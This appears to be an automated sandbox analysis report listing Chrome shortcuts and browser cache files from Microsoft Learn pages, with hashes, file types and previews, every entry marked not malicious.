C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 4 14:11:13 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.994244533637828
Encrypted:	false
SSDEEP:	48:885dxTOGHAWidAKZdA1jeh/iZUkAQkqeh5y+2:88N6F9Q0y
MD5:	A57DB2BE9BB6BC84B1FB52EEEFAA7F94
SHA1:	902EEA849AD0EADEFE0D4888E1F844E1D082A58C
SHA-256:	0FC9E61F7033F766619427B42A9868FB2E6830B35716D922D37E89DCADF18072
SHA-512:	A691A0E05F848F5B144533CA6F295C46EE656EB57A0852B4C8559A28E602F1900FB959083EFDE392A0847F1C706845DE4B20B9C8DA9E3FB1478A71E0685E31CD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....P.,.^F......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.a..PROGRA~1..t......O.I.Yfy....B...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yfy....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.[..Chrome..>......CW.V.Yfy....M......................xN.C.h.r.o.m.e.....`.1.....EW.[..APPLIC~1..H......CW.V.Yfy............................P.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ygy.....d......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........y2DK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 10:41:16 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	4.007946474973609
Encrypted:	false
SSDEEP:	48:8w5dxTOuHAWidAKZdA14Peh7sFiZUkmgqeh7s3y+BX:8wN6znNy
MD5:	3787B70526C0539D8E0562A0D6CB78F8
SHA1:	9D49C00A96CEDD434F05CA7CB5E2294F59E5C070
SHA-256:	5BB75D962477F1D1BCCA9CDB317B7129CBAB62D0AEF7C0207EE8B0C4C025FA94
SHA-512:	1E963B16D73B4A5DD699CD2C261C64F8EEF9DDAA21AE342D345323A18CD146C5782EDDDD824091A6329C9E7EB64879B48708EEF99F2285975AD979011B3995FE
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...............y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.a..PROGRA~1..t......O.I.Yfy....B...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yfy....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.[..Chrome..>......CW.V.Yfy....M......................xN.C.h.r.o.m.e.....`.1.....EW.[..APPLIC~1..H......CW.V.Yfy............................P.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VEW.[.....d......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........y2DK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 4 14:11:13 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9923088485597953
Encrypted:	false
SSDEEP:	48:8o3Q5dxTOGHAWidAKZdA1GehDiZUkwqehVy+R:8o3QN6Y/y
MD5:	1099B7FAC18E3DCFE3022683F815D24F
SHA1:	01EB2590D6E42F32710F12082D9058FA8B13C609
SHA-256:	22F6300E3EF809AEACEFF56093023B3C0A9ADC3DAE88D7E2579A05F47C4A79C5
SHA-512:	EFC0DC362A1EFC02EBD421EA287C09B58D5811C334E5A936A9ADAE08C4C1EB7FB7A72E88A47A07A59965EDB75F4326E31F7E312BF80325E9D2F9B52CD97DADD7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........^F......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.a..PROGRA~1..t......O.I.Yfy....B...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yfy....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.[..Chrome..>......CW.V.Yfy....M......................xN.C.h.r.o.m.e.....`.1.....EW.[..APPLIC~1..H......CW.V.Yfy............................P.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ygy.....d......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........y2DK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 4 14:11:13 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.981576163305711
Encrypted:	false
SSDEEP:	48:8x5dxTOGHAWidAKZdA1IehBiZUk1W1qehry+C:8xN649Ly
MD5:	F50A66D555EE1C2453EB7807830D4C3B
SHA1:	52E11ED54040CF239EF60BD837F4D54B75E6B9D1
SHA-256:	879FF46B417DABF3874568B15F07E1704956E8084C2920E5895D3FFF78883666
SHA-512:	3A804A8001F85065F1325CF14FDDFF1BA6A2F765F51E5BF12FE72EDC15BE780757F79E455606821F49856066781FF96CE006739B7C086DA5EC6D750765DBCB9A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Q:.^F......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.a..PROGRA~1..t......O.I.Yfy....B...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yfy....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.[..Chrome..>......CW.V.Yfy....M......................xN.C.h.r.o.m.e.....`.1.....EW.[..APPLIC~1..H......CW.V.Yfy............................P.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ygy.....d......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........y2DK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 4 14:11:13 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9940922681248128
Encrypted:	false
SSDEEP:	48:8J5dxTOGHAWidAKZdA1duTBehOuTbbiZUk5OjqehOuTbNy+yT+:8JN6pT2TbxWOvTbNy7T
MD5:	5449150AD5AFB02C27AA603A6ACC4624
SHA1:	0E98C6F6689FFA1E82DE160D43296D3A730CFCAD
SHA-256:	22FC97CFD9F281DC2666414FE40AFB37CC1376758EF70E336C9AD1F6F9522EB4
SHA-512:	9FEC73FB65CE960465A96821715DF47D07F5B9AB40336503DA595F4D407A24C2B63000223EE6DB0ADE53A59698E824FB9CE13F8E27843784B362CAEEAE5E314C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....~...^F......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.a..PROGRA~1..t......O.I.Yfy....B...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yfy....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.[..Chrome..>......CW.V.Yfy....M......................xN.C.h.r.o.m.e.....`.1.....EW.[..APPLIC~1..H......CW.V.Yfy............................P.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ygy.....d......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........y2DK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
